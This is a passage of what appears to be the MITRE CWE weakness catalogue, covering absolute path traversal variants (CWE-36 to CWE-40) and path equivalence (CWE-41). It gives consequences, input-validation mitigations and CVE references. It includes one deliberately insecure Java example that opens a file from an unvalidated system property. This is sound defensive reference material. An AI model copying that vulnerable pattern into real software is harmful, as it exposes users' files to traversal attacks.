**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i>	
Integrity	Modify Files or Directories  <i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i>	
Confidentiality	Read Files or Directories  <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i>	
Availability	DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	<i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.</i>	

## Demonstrative Examples

### Example 1:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Example Language: Java

(Bad)

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

## Observed Examples

Reference	Description
<b>CVE-2022-31503</b>	Python package constructs filenames using an unsafe <code>os.path.join</code> call on untrusted input, allowing absolute path traversal because <code>os.path.join</code> resets the pathname to an absolute path that is specified as part of the input. <a href="https://www.cve.org/CVERecord?id=CVE-2022-31503">https://www.cve.org/CVERecord?id=CVE-2022-31503</a>
<b>CVE-2002-1345</b>	Multiple FTP clients write arbitrary files via absolute paths in server responses <a href="https://www.cve.org/CVERecord?id=CVE-2002-1345">https://www.cve.org/CVERecord?id=CVE-2002-1345</a>
<b>CVE-2001-1269</b>	ZIP file extractor allows full path <a href="https://www.cve.org/CVERecord?id=CVE-2001-1269">https://www.cve.org/CVERecord?id=CVE-2001-1269</a>
<b>CVE-2002-1818</b>	Path traversal using absolute pathname <a href="https://www.cve.org/CVERecord?id=CVE-2002-1818">https://www.cve.org/CVERecord?id=CVE-2002-1818</a>
<b>CVE-2002-1913</b>	Path traversal using absolute pathname <a href="https://www.cve.org/CVERecord?id=CVE-2002-1913">https://www.cve.org/CVERecord?id=CVE-2002-1913</a>
<b>CVE-2005-2147</b>	Path traversal using absolute pathname <a href="https://www.cve.org/CVERecord?id=CVE-2005-2147">https://www.cve.org/CVERecord?id=CVE-2005-2147</a>
<b>CVE-2000-0614</b>	Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0614">https://www.cve.org/CVERecord?id=CVE-2000-0614</a>
<b>CVE-1999-1263</b>	Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1263">https://www.cve.org/CVERecord?id=CVE-1999-1263</a>
<b>CVE-2003-0753</b>	Remote attackers can read arbitrary files via a full pathname to the target file in config parameter. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0753">https://www.cve.org/CVERecord?id=CVE-2003-0753</a>
<b>CVE-2002-1525</b>	Remote attackers can read arbitrary files via an absolute pathname. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1525">https://www.cve.org/CVERecord?id=CVE-2002-1525</a>
<b>CVE-2001-0038</b>	Remote attackers can read arbitrary files by specifying the drive letter in the requested URL. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0038">https://www.cve.org/CVERecord?id=CVE-2001-0038</a>

Reference	Description
<b>CVE-2001-0255</b>	FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0255">https://www.cve.org/CVERecord?id=CVE-2001-0255</a>
<b>CVE-2001-0933</b>	FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0933">https://www.cve.org/CVERecord?id=CVE-2001-0933</a>
<b>CVE-2002-0466</b>	Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0466">https://www.cve.org/CVERecord?id=CVE-2002-0466</a>
<b>CVE-2002-1483</b>	Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." . <a href="https://www.cve.org/CVERecord?id=CVE-2002-1483">https://www.cve.org/CVERecord?id=CVE-2002-1483</a>
<b>CVE-2004-2488</b>	FTP server read/access arbitrary files using "C:\" filenames <a href="https://www.cve.org/CVERecord?id=CVE-2004-2488">https://www.cve.org/CVERecord?id=CVE-2004-2488</a>
<b>CVE-2001-0687</b>	FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename). <a href="https://www.cve.org/CVERecord?id=CVE-2001-0687">https://www.cve.org/CVERecord?id=CVE-2001-0687</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Absolute Path Traversal
Software Fault Patterns	SFP16		Path Traversal

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
597	Absolute Path Traversal

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-37: Path Traversal: '/absolute/pathname/here'

**Weakness ID** : 37  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships



The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	V	160	Improper Neutralization of Leading Special Elements	397
ChildOf	B	36	Absolute Path Traversal	72

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

*Effectiveness = High*

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2002-1345</b>	Multiple FTP clients write arbitrary files via absolute paths in server responses <a href="https://www.cve.org/CVERecord?id=CVE-2002-1345">https://www.cve.org/CVERecord?id=CVE-2002-1345</a>
<b>CVE-2001-1269</b>	ZIP file extractor allows full path <a href="https://www.cve.org/CVERecord?id=CVE-2001-1269">https://www.cve.org/CVERecord?id=CVE-2001-1269</a>
<b>CVE-2002-1818</b>	Path traversal using absolute pathname <a href="https://www.cve.org/CVERecord?id=CVE-2002-1818">https://www.cve.org/CVERecord?id=CVE-2002-1818</a>
<b>CVE-2002-1913</b>	Path traversal using absolute pathname <a href="https://www.cve.org/CVERecord?id=CVE-2002-1913">https://www.cve.org/CVERecord?id=CVE-2002-1913</a>
<b>CVE-2005-2147</b>	Path traversal using absolute pathname <a href="https://www.cve.org/CVERecord?id=CVE-2005-2147">https://www.cve.org/CVERecord?id=CVE-2005-2147</a>
<b>CVE-2000-0614</b>	Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0614">https://www.cve.org/CVERecord?id=CVE-2000-0614</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	<b>C</b>	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/absolute/pathname/here
CERT C Secure Coding Software Fault Patterns	FIO05-C		Identify files using multiple file attributes
	SFP16		Path Traversal

## CWE-38: Path Traversal: '\absolute\pathname\here'

**Weakness ID** : 38

**Structure** : Simple

**Abstraction** : Variant

### Description

The product accepts input in the form of a backslash absolute path ('\absolute\pathname\here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	36	Absolute Path Traversal	72

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

*Effectiveness = High*

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-1999-1263</b>	Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1263">https://www.cve.org/CVERecord?id=CVE-1999-1263</a>
<b>CVE-2003-0753</b>	Remote attackers can read arbitrary files via a full pathname to the target file in config parameter. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0753">https://www.cve.org/CVERecord?id=CVE-2003-0753</a>
<b>CVE-2002-1525</b>	Remote attackers can read arbitrary files via an absolute pathname. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1525">https://www.cve.org/CVERecord?id=CVE-2002-1525</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	<b>C</b>	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			\absolute\pathname\here ('backslash absolute path')
CERT C Secure Coding Software Fault Patterns	FIO05-C SFP16		Identify files using multiple file attributes Path Traversal

## CWE-39: Path Traversal: 'C:dirname'

**Weakness ID** : 39

**Structure** : Simple

**Abstraction** : Variant

### Description

The product accepts input that contains a drive letter or Windows volume letter ('C:dirname') that potentially redirects access to an unintended location or arbitrary file.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	36	Absolute Path Traversal	72

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i>	
Integrity	Modify Files or Directories  <i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end</i>	

Scope	Impact	Likelihood
	<i>of a password file may allow an attacker to bypass authentication.</i>	
Confidentiality	Read Files or Directories  <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.</i>	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../.." string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

*Effectiveness = High*

### Phase: Implementation

*Strategy = Input Validation*




Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

Reference	Description
<b>CVE-2001-0038</b>	Remote attackers can read arbitrary files by specifying the drive letter in the requested URL. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0038">https://www.cve.org/CVERecord?id=CVE-2001-0038</a>
<b>CVE-2001-0255</b>	FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0255">https://www.cve.org/CVERecord?id=CVE-2001-0255</a>
<b>CVE-2001-0687</b>	FTP server allows a remote attacker to retrieve privileged system information by specifying arbitrary paths. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0687">https://www.cve.org/CVERecord?id=CVE-2001-0687</a>
<b>CVE-2001-0933</b>	FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0933">https://www.cve.org/CVERecord?id=CVE-2001-0933</a>
<b>CVE-2002-0466</b>	Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0466">https://www.cve.org/CVERecord?id=CVE-2002-0466</a>
<b>CVE-2002-1483</b>	Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." . <a href="https://www.cve.org/CVERecord?id=CVE-2002-1483">https://www.cve.org/CVERecord?id=CVE-2002-1483</a>
<b>CVE-2004-2488</b>	FTP server read/access arbitrary files using "C:\" filenames <a href="https://www.cve.org/CVERecord?id=CVE-2004-2488">https://www.cve.org/CVERecord?id=CVE-2004-2488</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'C:dirname' or C: (Windows volume or 'drive letter')
CERT C Secure Coding Software Fault Patterns	FIO05-C		Identify files using multiple file attributes
	SFP16		Path Traversal

## CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share)

**Weakness ID** : 40

**Structure** : Simple

**Abstraction** : Variant

### Description

The product accepts input that identifies a Windows UNC share ('\\UNC\share\name') that potentially redirects access to an unintended location or arbitrary file.

### Relationships



The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		36	Absolute Path Traversal	72

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

*Effectiveness = High*

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2001-0687</b>	FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename). <a href="https://www.cve.org/CVERecord?id=CVE-2001-0687">https://www.cve.org/CVERecord?id=CVE-2001-0687</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			\\UNC\share\name\ (Windows UNC share)
Software Fault Patterns	SFP16		Path Traversal

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-41: Improper Resolution of Path Equivalence

**Weakness ID** : 41

**Structure** : Simple

**Abstraction** : Base

### Description

The product is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.

### Extended Description

Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1439
ParentOf		42	Path Equivalence: 'filename.' (Trailing Dot)	89
ParentOf		44	Path Equivalence: 'file.name' (Internal Dot)	91
ParentOf		46	Path Equivalence: 'filename ' (Trailing Space)	93
ParentOf		47	Path Equivalence: ' filename' (Leading Space)	94
ParentOf		48	Path Equivalence: 'file name' (Internal Whitespace)	95
ParentOf		49	Path Equivalence: 'filename/' (Trailing Slash)	96

Nature	Type	ID	Name	Page
ParentOf	V	50	Path Equivalence: '//multiple/leading/slash'	97
ParentOf	V	51	Path Equivalence: '/multiple//internal/slash'	98
ParentOf	V	52	Path Equivalence: '/multiple/trailing/slash/'	99
ParentOf	V	53	Path Equivalence: '\\multiple\\internal\\backslash'	100
ParentOf	V	54	Path Equivalence: 'filedir\' (Trailing Backslash)	101
ParentOf	V	55	Path Equivalence: './.' (Single Dot Directory)	102
ParentOf	V	56	Path Equivalence: 'filedir*' (Wildcard)	104
ParentOf	V	57	Path Equivalence: 'fakedir/./readdir/filename'	105
ParentOf	V	58	Path Equivalence: Windows 8.3 Filename	106
PeerOf	B	1289	Improper Validation of Unsafe Equivalence in Input	1974
CanFollow	C	20	Improper Input Validation	19
CanFollow	B	73	External Control of File Name or Path	128
CanFollow	C	172	Encoding Error	415

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2273

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	
Access Control	Bypass Protection Mechanism	
<p><i>An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.</i></p>		

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### **Phase: Implementation**

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

#### **Phase: Implementation**

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2000-1114</b>	Source code disclosure using trailing dot <a href="https://www.cve.org/CVERecord?id=CVE-2000-1114">https://www.cve.org/CVERecord?id=CVE-2000-1114</a>
<b>CVE-2002-1986</b>	Source code disclosure using trailing dot <a href="https://www.cve.org/CVERecord?id=CVE-2002-1986">https://www.cve.org/CVERecord?id=CVE-2002-1986</a>
<b>CVE-2004-2213</b>	Source code disclosure using trailing dot or trailing encoding space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2004-2213">https://www.cve.org/CVERecord?id=CVE-2004-2213</a>
<b>CVE-2005-3293</b>	Source code disclosure using trailing dot <a href="https://www.cve.org/CVERecord?id=CVE-2005-3293">https://www.cve.org/CVERecord?id=CVE-2005-3293</a>
<b>CVE-2004-0061</b>	Bypass directory access restrictions using trailing dot in URL <a href="https://www.cve.org/CVERecord?id=CVE-2004-0061">https://www.cve.org/CVERecord?id=CVE-2004-0061</a>
<b>CVE-2000-1133</b>	Bypass directory access restrictions using trailing dot in URL <a href="https://www.cve.org/CVERecord?id=CVE-2000-1133">https://www.cve.org/CVERecord?id=CVE-2000-1133</a>
<b>CVE-2001-1386</b>	Bypass check for ".lnk" extension using ".lnk." <a href="https://www.cve.org/CVERecord?id=CVE-2001-1386">https://www.cve.org/CVERecord?id=CVE-2001-1386</a>
<b>CVE-2001-0693</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2001-0693">https://www.cve.org/CVERecord?id=CVE-2001-0693</a>
